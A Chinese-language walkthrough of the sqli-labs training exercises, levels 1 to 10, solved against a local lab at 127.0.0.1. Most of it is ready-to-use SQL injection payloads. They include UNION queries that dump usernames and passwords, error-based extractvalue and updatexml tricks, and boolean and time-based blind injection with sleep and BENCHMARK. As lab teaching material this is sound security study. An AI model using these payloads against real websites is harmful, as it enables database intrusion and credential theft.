Less-1:基于错误的GET单引号字符型注入
我们首先注入一个单引号’,出现SQL语法错误,多出一个单引号,后面闭合语句也是用的单引号:
http://127.0.0.1/sqli_labs/Less-1/?id=1’
再次注入一条SQL语句,因为条件永远为真,响应正常:
http://127.0.0.1/sqli_labs/Less-1/?id=1' and '1'='1
下面猜解字段数:
http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1--+
http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1,2,3--+
http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1,2,3,4--+ 此时报错,说明字段数是 3。
确定显位数字:
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,3--+
从上图可以看到,第2和第3个字段均可回显。
进一步地,获取当前数据库名称:
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,(select database()) ,3--+
获取数据库名为security。
我们还可以获取所有的数据库名:
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
接下来获取当前数据库 security 的表名:
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema =0x7365637572697479)--+
(其中,0x7365637572697479是数据库名security经过hex编码后的结果)
获取列名:
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema =0x7365637572697479 and table_name=0x7573657273)--+
最后获取所有数据:
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)--+
最后看一下数据库的版本:
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,version(),database()--+
Less-2:数字型注入
同样的,首先注入一个单引号’,数据库报错信息返回到页面中:
可以看到此处的sql语句其实并没有单引号,只是用数字进行查询,例如:
select * from users where id=1
http://127.0.0.1/sqli_labs/Less-2/?id=1 and 1=2 union select 1,version(),database()--+
Less-3:有括号的单引号报错注入
每一次注入测试,都是先从单引号’开始:
http://127.0.0.1/sqli_labs/Less-3/?id=1’
数据库报错多出来一个右括号,可以推测后端数据库大概的SQL语句:
select * from users where id=('input') LIMIT 0,1;
所以我们要在单引号后面注入一个右括号来闭合它:
http://127.0.0.1/sqli_labs/Less-3/?id=1') or 1=1--+
http://127.0.0.1/sqli_labs/Less-3/?id=1') and 1=2 union select 1,version(),database()--+
Less-4:双引号单括号报错注入
加单引号没有报错,但是加了双引号却报错了,见下图:
推测后端数据库大概的SQL语句:
select * from users where id = ("input") LIMIT 0,1;
http://127.0.0.1/sqli_labs/Less-4/?id=1") or 1=1--+
http://127.0.0.1/sqli_labs/Less-4/?id=1") and 1=2 union select 1,version(),database()--+
Less-5:单引号二次注入
尝试单引号’报错:
推测后端数据库SQL语句为:
select * from users where id='input' LIMIT 0,1;
如果注入成功的话,会正常响应,显示you are in ………,如果出错的话则不会出现这个字符串。这里考虑使用SQL中的报错函数做报错注入,比如updatexml()、extractvalue()等。
http://127.0.0.1/sqli_labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))limit 0,1--+
可以看到报错信息中返回了数据库名security。
http://127.0.0.1/sqli_labs/Less-5/?id=1' and (updatexml(1,concat(0x3a,(select database())),1))limit 0,1--+
http://127.0.0.1/sqli_labs/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
像Less-1中的一样,通过构造不同的SQL语句可以逐步获取数据库中的信息:
1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x--+
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+
1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
使用延时注入的话:
1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+
Less-6:双引号二次注入
把上面 id 的单引号变成双引号即可。
Less-7:利用注入写文件
Less-8:布尔型盲注
盲注其实是 sql 注入的一种,之所以称为盲注是因为他不会根据你 sql 注入的攻击语句返回你想要知道的错误信息。
我们把盲注分为两类:
1. 布尔盲注 布尔很明显 Ture 跟 Fales,也就是说它只会根据 你的注入信息返回 Ture 跟 Fales,也就没有了之前的报错信息。
2. 时间盲注 界面返回值只有一种, true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看 web 页面返回的时间差来判断注入的语句是否正确。
使用二分法猜测数据库名长度:
?id=1' and (length(database()))>10--+
?id=1' and (length(database()))>5--+
经过不断尝试,最后注入
?id=1' and (length(database()))=8--+
利用 substr 函数与 ascii 函数构造猜测数据库名 ascii 码对应值的语句,因为现在只知道长度不知道具体内容,也需要通过二分法不断猜测:
?id=1' and (ascii(substr(database(),1,1)))>100 --+
?id=1' and (ascii(substr(database(),1,1)))>120 --+
说明数据库的第一个字母的 ascii 的值在 100~120 之间。最后用二分法逐步逼近确定在 115:
?id=1' and (ascii(substr(database(),1,1)))=115 --+
ascii(115)=s 也就是 security 的第一个字母,通过改变 database()后面的数字,可以继续猜测第二个字母第三个字母,接下来改变语句去猜测表名:
?id=1' and (ascii(substr(database(),2,1)))=101 --+
ascii(101)=e 也就是 security 的第二个字母,后面以此类推。
猜测表名:
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>110 --+
二分法查找最后得到: ?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+
猜测列名: ?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+
采用二分法得 ascii 为 105 为 i 也就是表的第一个列名 id 的第一个字母 同样 通过修改 limit 0,1 获取第二个列名 修改后面 1,1 的获取当前列的其他字段。接着获取username 与password 里面的内容 因为知道了列名所以直接 select password from users 就可以获取 password 里面的内容 username 一样:
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
Less-9:时间型盲注
无论怎么更改注入语句,页面都不会发生改变, 说明无论输入正确与否都只显示 you are in…………
?id=1' and if(1=1,sleep(5),null)--+ 延时5秒钟
?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(5),null))--+
Less-10:双引号时间盲注
把上面的单引号换成双引号进行闭合即可。